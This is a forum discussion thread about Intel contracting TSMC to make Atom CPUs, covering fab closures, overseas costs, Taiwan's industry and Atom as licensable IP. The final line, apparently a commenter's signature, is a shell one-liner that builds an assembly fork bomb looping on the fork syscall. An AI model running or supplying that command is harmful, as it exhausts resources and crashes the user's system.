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Intel Recruits TSMC To Produce Atom CPUs
arcticstoat writes "Intel has surprised the industry by announcing a memorandum of understanding (MOU) with Taiwanese silicon chip maker TSMC to manufacture Atom CPUs. Although TSMC is already employed by AMD, Nvidia and VIA to make chips, it's not often you see Intel requiring the services of a third fabrication party. Under the MOU, Intel agrees to port its Atom CPU technology to TSMC, which includes Intel's processes, intellectual properties, libraries and design flows relating to the processor. This will effectively allow other customers of TSMC to easily build Atom-based products similarly to how they might use an ARM processor in their own designs. However, Intel says that it will still pick the specific market segments and products that TSMC will go after, which will include system-on-chip products, as well as netbooks, nettops and embedded platforms."
Disclaimer: I work for Intel, but I'm not involved in manufacturing, so I only know what the public knows.
From what I understand, pretty much every employee at the fabs being closed are being offered jobs at other fabs, and pretty much the only way that anyone's losing their job is if they can't move, or refuse to do so.
Unless I'm mistaken, the closing of the fabs is merely a consolidation of resources, as well as an elimination of older process technologies, without a reduction in workforce.
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Not too surprising given the situation with the economy. I'm sure its far cheaper manufacturing chips overseas than it is here.
Why?
Labor costs? I doubt a chip fab is really that senstive to hourly wages. Its not like each chip is hand crafted. Its all automated; and the robots are the same price anywhere. So sure labor is a bit cheaper, but we're probably talking a labor as fractional cents per cpu... they can afford it.
Materials cost? I can't really see it making much difference.
Environmental regulation compliance? Maybe; I have no idea how much a chip fab pollutes.
IP? Are there per cpu royalties that would be owed in the manufacturing process itself that they can avoid by doing it elsewhere? Maybe; but I doubt it. Intel's got plenty of patents and surely has the ability to easily cross-license with anyone that could prevent it from manufacturing.
Or is TMSC hurting for business due to the economic downturn, and is willing to make them dirt cheap, just to keep the factories running...?
So, serious question, why is it cheaper to have it done overseas?
Actually, Intel spread the layoffs around, closing two test/assembly fabs in the Phillippines and Malaysia as well as a fab in Oregon and one in Santa Clara. All of these fabs were running 200mm wafers at older tech nodes (120nm and up, I believe).
These closings would likely have come along in the due course of time, but the economy hastened things a bit. As to moving the fabrication of Atoms over to TSMC, it's a pretty logical move. Atom is a low-margin part, so Intel probably doesn't want to clog up its most advanced fabs with Atom wafer starts, when it can ride out the recession and hope for a resurgence in demand for high-performance, high-margin parts.
That said, it's quite interesting that Intel is contracting with TSMC, because Intel's real market advantage has always been its fabrication prowess. I'm sure there are about a thousand pages of legalese restricting TSMC's rights to the high-k process (or any other tricks Intel has up their sleeve)
Obviously you know nothing about Taiwan. This isn't China we're talking about. They do have nationalized health care, although they are plagued with the same problems such programs face in Europe everywhere else. They are required to pay some level of compensation for overtime, but it isn't extravagant. They do have guidelines for worker safety and labor laws are fairly stringent. Not quite to the extreme of the US, but it is moving in that direction.
Taiwan does have lower slightly lower corporate taxes than the US and last year I know the proposal was made to lower by 5% I believe, but I don't know if it ever went through. The US could easily address this situation, but the Obama administration seems intent on doing the opposite.
They do have unions in Taiwan although I'm not aware of one for the semiconductor industry; unions aren't necessarily a good thing anyway. I do know from personal experience that jobs in the semiconductor industry, everything from engineering on down to manufacturing, are in high demand. They pay quite well.
Wages certainly are lower in Taiwan than the US, by a good bit, but they are also significantly higher than in China. The key distinction is that quality is guaranteed and the companies are more trustworthy. It's very unlikely a Taiwanese company is going to go behind your back rip off your designs.
Companies outsource to Taiwan or Korea when they don't want quality close to what could be gotten out of Japan but without paying the excessive cost. Companies go to China when they want maximum savings even at the expense of quality.
That said, nowadays even Taiwan, Japan and Korea are outsourcing some of their manufacturing to China because even for them it's not as cost-effective as they'd like. The problem is that many people still lump Taiwan together with China so not only are they incapable of competing on price, but they're stuck with the perception of making cheap knockoffs.
Of course, the Taiwanese government bureaucracy is at fault for doing a piss poor job of marketing their own country in every way. And Taiwanese companies are a bit too reluctant to give up OEM manufacturing. They should be building their own brands on the level Korea has done over the last decade or so. Of course, Korean companies have had heavy government backing whereas Taiwanese companies have generally been left to fend for themselves.
I think they're just buying up the competition's workspace. After all TMSC is going to KNOW the check from Intel will cash, no matter what... and like Apple buying up Samsung flash ram, this makes prices higher for everybody else...and gives Intel CONTROL over one of the few companies that could make VIA's nano or Nvidia's ION. It's also, lower cost, older process equipment closer to China where they want these chips to be sold.
I think you're also looking at the patent front, that Intel will fill the place up with their patented processes and TMSC won't be able to fill orders for VIA/AMD/Nvidia without stepping on some Intel patents.. or have to run those jobs in the backroom on old, unproductive, equipment.
Taiwan != China. Actually TSMC has been making chipsets for the Atom for some time, so I'm told. The Atom itself was made by Intel, on its latest process. TSMC lags behing Intel in process technology, but apparently that no longer matters for Atom. As anantech put it
http://www.anandtech.com/cpuchipsets/intel/showdoc.aspx?i=3522&p=2
The other thing to keep in mind is that Moorestown, the first Atom SoC, will be built at 45nm while the first 32nm CPUs are shipping from Intel. Another way of putting it is that Atom processors don't appear to need the latest manufacturing process, just one that's mature and good enough. TSMC is transitioning to 40nm now, so Atom SoCs that are made there won't really be that far behind those made at Intel, if at all.
Actually if you read the rest of the article, there's a deeper reason for this. Historically chips for something like a cellphone take an ARM core and some custom peripherals, integrate them onto a chip and then fab them at somewhere like TSMC. Intel has never done this - they selll chips not IP. In fact one of the reasons the XBox360 moved to PPC was because Intel would not license their core as IP to be integrated into an ASIC. Intel Atoms on a TSMC process would be cheaper, but the real benefit would be (as Anandtech put it)
The Lincroft and Langwell blocks are done by Intel. The PMIC and Evans Peak blocks are partly Intel and partly 3rd party IP that are intermixed. Evans Peak in particular looks like it's going to be home to all sorts of IP depending on the application. A smart phone Atom SoC design might integrate a 3G modem here, while an iPod would opt for something else.
This makes sense if Atom is supposed to be competing with ARM. Maybe in the future they will sell Atoms as a hard macro like Arm do.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;